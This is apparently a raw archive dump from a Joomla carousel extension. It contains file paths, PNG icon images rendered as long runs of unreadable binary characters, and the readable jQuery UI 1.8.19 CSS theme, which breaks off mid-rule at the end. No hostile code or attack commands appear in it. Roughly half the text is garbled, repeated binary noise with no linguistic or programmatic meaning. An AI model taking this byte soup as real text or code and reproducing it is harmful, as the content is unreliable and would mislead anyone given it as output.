@?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\>6Kcomponents/com_unitehcarousel/assets/jui/images/ui-icons_666666_256x240.pngnuW+APNG  IHDRIJPLTEdfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfddfdNtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\<%\\Xcomponents/com_unitehcarousel/assets/jui/images/ui-bg_highlight-soft_50_dddddd_1x100.pngnuW+APNG  IHDRdG,Z`#IDATcx&!D(.N6 :"]oIENDB`PK@y>\&vvXcomponents/com_unitehcarousel/assets/jui/images/ui-bg_highlight-soft_25_0073ea_1x100.pngnuW+APNG  IHDRdG,Z`=IDATՏ 0'[kMiAW?v^FHJC뫸\~tvM.#NhEIENDB`PK@y>\:components/com_unitehcarousel/assets/jui/images/index.htmlnuW+APK@y>\5Kcomponents/com_unitehcarousel/assets/jui/images/ui-icons_454545_256x240.pngnuW+APNG  IHDRIJPLTEDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDm:NtRNS2P."Tp@f` <BHJZ&0R,4j8D|($ blߝF>n~hhHIDATx]b۶H儒-{iZK:glkn-tIqq? E$dK>$>;PZsVh!Sy0E0}H)-t koܪKp\RϠ .E7 ) *V;~Pe Bx*,=$zDؾ JҸٻ9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;" i] dddddddd4y5  Rb@(8CdŪݡ,@T@ibrq0alX!pe, =4bW { 5Ƭhu~(Q^@3="b5XC@JCT76q_5 @,r šɩD)T|O@ ON-ՙ [n@RXIm݋(F @?=0puL;g$@6η K`>п @h գKVn"a" %l@.v$/U^ G:#`` uTtK~ŋZ5T%kxk]\*Q ,҇B44 OXK|yg+_M(lоEO V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V rh(]tI^}oצo S3 ";ʙb}"߰ ){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.}Q3.Nس})>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa 3 {oB &<L[ Nc.öi=`Q@d ͆I.Il`\t[< Cit484-r +f쑱BCB MH iy }>rxp|z;BǏ;burcK4tz1G~`ؚK| ̔>ۡO$~ Ao)0pzz }i`;ADm8n:cfA@s7L Z/..h8or? N93B~o_'`opO- :TG L;7]`B%˛>*wTpM0H}&t ^1'Oqr'2P͡+z,tIW''|en=dzgRm[NStK{҉mؓVt6ҲR`ζN&}B U(rۗ&1%Q''?l׸+&r{jN಻4) `N狌. ߭ ǣ)q 2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~Mz +4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6GFZ)O !lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5av]m1+3y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c- 賟Lδ>]5.sYs1f0;'̨Yg銛{@9 `aC(=%bo2=n1 jBoS$n#m=i0ci9}oI qT]W%.(؅]z\x f"]o'u䫵tk{v;AC3ֆwwR_#X (xҋ/q%W hpk_IX'b/fXKi"#####QCLi2t 5L0 QiH2;yTOok;ע ٶ`RNg{zy!Kxm?A(vU~mL(`o/!nmX-{v[ dw=n「sdwzn(}Oy~ m ?XU;,V'+ V&JRZ]᧭:zC'-߆@y 4u `Vۓwъ#zP@Q N>2/{\o)W~a3xLw :_Q;=pּdt\'8~3SRP6y+XQ*޺r ̗ѭ*޺r gl/\U^u$|mbVnw \V|D͊NVNy7k<;/E}?E*dzgO ~g/96f cD}% g$QG7o)U Jo,O@0߾Q(;bw:5 NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 3 u Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s\ Dcomponents/com_unitehcarousel/assets/jui/jquery-ui-1.8.19.custom.cssnuW+A/*! * jQuery UI CSS Framework 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API */ /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:before, .ui-helper-clearfix:after { content: ""; display: table; } .ui-helper-clearfix:after { clear: both; } .ui-helper-clearfix { zoom: 1; } .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } /* Misc visuals ----------------------------------*/ /* Overlays */ .ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } /*! * jQuery UI CSS Framework 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Theming/API * * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Helvetica,%20Arial,%20sans-serif&fwDefault=bold&fsDefault=1.1em&cornerRadius=2px&bgColorHeader=dddddd&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=50&borderColorHeader=dddddd&fcHeader=444444&iconColorHeader=0073ea&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=dddddd&fcContent=444444&iconColorContent=ff0084&bgColorDefault=f6f6f6&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=100&borderColorDefault=dddddd&fcDefault=0073ea&iconColorDefault=666666&bgColorHover=0073ea&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=25&borderColorHover=0073ea&fcHover=ffffff&iconColorHover=ffffff&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=dddddd&fcActive=ff0084&iconColorActive=454545&bgColorHighlight=ffffff&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=55&borderColorHighlight=cccccc&fcHighlight=444444&iconColorHighlight=0073ea&bgColorError=ffffff&bgTextureError=01_flat.png&bgImgOpacityError=55&borderColorError=ff0084&fcError=222222&iconColorError=ff0084&bgColorOverlay=eeeeee&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=80&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=60&thicknessShadow=4px&offsetTopShadow=-4px&offsetLeftShadow=-4px&cornerRadiusShadow=0px */ /* Component containers ----------------------------------*/ .ui-widget { font-family: Helvetica, Arial, sans-serif; font-size: 1.1em; } .ui-widget .ui-widget { font-size: 1em; } .ui-widget input, .ui-widget select, .ui-widget textarea, .ui-widget button { font-family: Helvetica, Arial, sans-serif; font-size: 1em; } .ui-widget-content { border: 1px solid #dddddd; background: #ffffff url(images/ui-bg_flat_75_ffffff_40x100.png) 50% 50% repeat-x; color: #444444; } .ui-widget-content a { color: #444444; } .ui-widget-header { border: 1px solid #dddddd; background: #dddddd url(images/ui-bg_highlight-soft_50_dddddd_1x100.png) 50% 50% repeat-x; color: #444444; font-weight: bold; } .ui-widget-header a { color: #444444; } /* Interaction states ----------------------------------*/ .ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #dddddd; background: #f6f6f6 url(images/ui-bg_highlight-soft_100_f6f6f6_1x100.png) 50% 50% repeat-x; font-weight: bold; color: #0073ea; } .ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #0073ea; text-decoration: none; } .ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #0073ea; background: #0073ea url(images/ui-bg_highlight-soft_25_0073ea_1x100.png) 50% 50% repeat-x; font-weight: bold; color: #ffffff; } .ui-state-hover a, .ui-state-hover a:hover { color: #ffffff; text-decoration: none; } .ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #dddddd; background: #ffffff url(images/ui-bg_glass_65_ffffff_1x400.png) 50% 50% repeat-x; font-weight: bold; color: #ff0084; } .ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #ff0084; text-decoration: none; } .ui-widget :active { outline: none; } /* Interaction Cues ----------------------------------*/ .ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #cccccc; background: #ffffff url(images/ui-bg_flat_55_ffffff_40x100.png) 50% 50% repeat-x; color: #444444; } .ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #444444; } .ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #ff0084; background: #ffffff url(images/ui-bg_flat_55_ffffff_40x100.png) 50% 50% repeat-x; color: #222222; } .ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #222222; } .ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #222222; } .ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } .ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } .ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } /* Icons ----------------------------------*/ /* states and images */ .ui-icon { width: 16px; height: 16px; background-image: url(images/ui-icons_ff0084_256x240.png); } .ui-widget-content .ui-icon {background-image: url(images/ui-icons_ff0084_256x240.png); } .ui-widget-header .ui-icon {background-image: url(images/ui-icons_0073ea_256x240.png); } .ui-state-default .ui-icon { background-image: url(images/ui-icons_666666_256x240.png); } .ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(images/ui-icons_ffffff_256x240.png); } .ui-state-active .ui-icon {background-image: url(images/ui-icons_454545_256x240.png); } .ui-state-highlight .ui-icon {background-image: url(images/ui-icons_0073ea_256x240.png); } .ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(images/ui-icons_ff0084_256x240.png); } /* positioning */ .ui-icon-carat-1-n { background-position: 0 0; } .ui-icon-carat-1-ne { background-position: -16px 0; } .ui-icon-carat-1-e { background-position: -32px 0; } .ui-icon-carat-1-se { background-position: -48px 0; } .ui-icon-carat-1-s { background-position: -64px 0; } .ui-icon-carat-1-sw { background-position: -80px 0; } .ui-icon-carat-1-w { background-position: -96px 0; } .ui-icon-carat-1-nw { background-position: -112px 0; } .ui-icon-carat-2-n-s { background-position: -128px 0; } .ui-icon-carat-2-e-w { background-position: -144px 0; } .ui-icon-triangle-1-n { background-position: 0 -16px; } .ui-icon-triangle-1-ne { background-position: -16px -16px; } .ui-icon-triangle-1-e { background-position: -32px -16px; } .ui-icon-triangle-1-se { background-position: -48px -16px; } .ui-icon-triangle-1-s { background-position: -64px -16px; } .ui-icon-triangle-1-sw { background-position: -80px -16px; } .ui-icon-triangle-1-w { background-position: -96px -16px; } .ui-icon-triangle-1-nw { background-position: -112px -16px; } .ui-icon-triangle-2-n-s { background-position: -128px -16px; } .ui-icon-triangle-2-e-w { background-position: -144px -16px; } .ui-icon-arrow-1-n { background-position: 0 -32px; } .ui-icon-arrow-1-ne { background-position: -16px -32px; } .ui-icon-arrow-1-e { background-position: -32px -32px; } .ui-icon-arrow-1-se { background-position: -48px -32px; } .ui-icon-arrow-1-s { background-position: -64px -32px; } .ui-icon-arrow-1-sw { background-position: -80px -32px; } .ui-icon-arrow-1-w { background-position: -96px -32px; } .ui-icon-arrow-1-nw { background-position: -112px -32px; } .ui-icon-arrow-2-n-s { background-position: -128px -32px; } .ui-icon-arrow-2-ne-sw { background-position: -144px -32px; } .ui-icon-arrow-2-e-w { background-position: -160px -32px; } .ui-icon-arrow-2-se-nw { background-position: -176px -32px; } .ui-icon-arrowstop-1-n { background-position: -192px -32px; } .ui-icon-arrowstop-1-e { background-position: -208px -32px; } .ui-icon-arrowstop-1-s { background-position: -224px -32px; } .ui-icon-arrowstop-1-w { background-position: -240px -32px; } .ui-icon-arrowthick-1-n { background-position: 0 -48px; } .ui-icon-arrowthick-1-ne { background-position: -16px -48px; } .ui-icon-arrowthick-1-e { background-position: -32px -48px; } .ui-icon-arrowthick-1-se { background-position: -48px -48px; } .ui-icon-arrowthick-1-s { background-position: -64px -48px; } .ui-icon-arrowthick-1-sw { background-position: -80px -48px; } .ui-icon-arrowthick-1-w { background-position: -96px -48px; } .ui-icon-arrowthick-1-nw { background-position: -112px -48px; } .ui-icon-arrowthick-2-n-s { background-position: -128px -48px; } .ui-icon-arrowthick-2-ne-sw { background-position: -144px -48px; } .ui-icon-arrowthick-2-e-w { background-position: -160px -48px; } .ui-icon-arrowthick-2-se-nw { background-position: -176px -48px; } .ui-icon-arrowthickstop-1-n { background-position: -192px -48px; } .ui-icon-arrowthickstop-1-e { background-position: -208px -48px; } .ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } .ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-off { background-position: -96px -144px; } .ui-icon-radio-on { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } .ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 2px; -webkit-border-top-left-radius: 2px; -khtml-border-top-left-radius: 2px; border-top-left-radius: 2px; } .ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 2px; -webkit-border-top-right-radius: 2px; -khtml-border-top-right-radius: 2px; border-top-right-radius: 2px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 2px; -webkit-border-bottom-left-radius: 2px; -khtml-border-bottom-left-radius: 2px; border-bottom-left-radius: 2px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 2px; -webkit-border-bottom-right-radius: 2px; -khtml-border-bottom-right-radius: 2px; border-bottom-right-radius: 2px; } /* Overlays */ .ui-widget-overlay { background: #eeeeee url(images/ui-bg_flat_0_eeeeee_40x100.png) 50% 50% repeat-x; opacity: .80;filter:Alpha(Opacity=80); } .ui-widget-shadow { margin: -4px 0 0 -4px; padding: 4px; background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .60;filter:Alpha(Opacity=60); -moz-border-radius: 0px; -khtml-border-radius: 0px; -webkit-border-radius: 0px; border-radius: 0px; }/*! * jQuery UI Resizable 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Resizable#theming */ .ui-resizable { position: relative;} .ui-resizable-handle { position: absolute;font-size: 0.1px;z-index: 99999; display: block; } .ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } .ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } .ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } .ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } .ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } .ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } .ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } .ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } .ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}/*! * jQuery UI Selectable 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Selectable#theming */ .ui-selectable-helper { position: absolute; z-index: 100; border:1px dotted black; } /*! * jQuery UI Accordion 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Accordion#theming */ /* IE/Win - Fix animation bug - #4615 */ .ui-accordion { width: 100%; } .ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; } .ui-accordion .ui-accordion-li-fix { display: inline; } .ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; } .ui-accordion .ui-accordion-header a { display: block; font-size: 1em; padding: .5em .5em .5em .7em; } .ui-accordion-icons .ui-accordion-header a { padding-left: 2.2em; } .ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } .ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; zoom: 1; } .ui-accordion .ui-accordion-content-active { display: block; } /*! * jQuery UI Autocomplete 1.8.19 * * Copyright 2012, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Autocomplete#theming */ .ui-autocomplete { position: absolute; cursor: default; } /* workarounds */ * html .ui-autocomplete { width:1px; } /* without this, the menu expands to 100% in IE6 */ /* * jQuery UI Menu @VERSION * * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Menu#theming */ .ui-menu { list-style:none; padding: 2px; margin: 0; display:block; float: left; } .ui-menu .ui-menu { margin-top: -3px; } .ui-menu .ui-menu-item { 